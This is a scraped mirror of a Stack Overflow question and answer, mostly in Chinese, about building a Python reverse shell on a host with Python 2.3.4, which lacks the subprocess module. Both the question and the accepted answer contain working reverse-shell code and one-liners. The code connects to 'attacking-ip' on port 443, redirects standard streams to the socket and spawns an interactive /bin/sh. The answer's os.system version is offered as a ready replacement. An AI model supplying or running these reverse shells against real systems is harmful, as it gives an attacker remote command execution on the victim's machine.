gpt4 book ai didi

没有子进程的Python反向shell

转载 作者:太空宇宙 更新时间:2023-11-03 15:36:40 27 4
gpt4 key购买 nike

我正在测试一台安装了 Python 2.3.4 的机器。

使用这个衬垫:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacking-ip",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

这是:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("attacking-ip",443));os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

我收到此错误:

Traceback (most recent call last): File "", line 1, in ? ImportError: No module named subprocess

我现在正在寻找创建一个脚本来提供反向连接。我的问题是是否可以通过导入子流程来做到这一点?

到目前为止我已经有了

#!/usr/bin/python

import socket
import os

HOST = ''
PORT = ''

conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #CREATES TCP SOCKET

conn.connect((HOST, PORT)) #CONNECT

while 1: #LOOP
ls = os.system('ls') # test with ls
#^ Need to add the ability to use any system command
command_send = conn.send(ls) #RECEIVE COMMAND
#EXECUTE COMMAND

这个循环永远没有弄清楚如何停止接收数据的循环并使脚本保持事件状态。

最佳答案

subprocess Python 2.4 中引入了该模块。

<小时/>

You can use os.system instead of subprocess.call :

import socket, os
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("attacking-ip", 443))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.system("/bin/sh -i")
<小时/>
python -c 'import socket,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("attacking-ip",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);os.system("/bin/sh -i")'

关于没有子进程的Python反向shell,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/42469015/

27 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com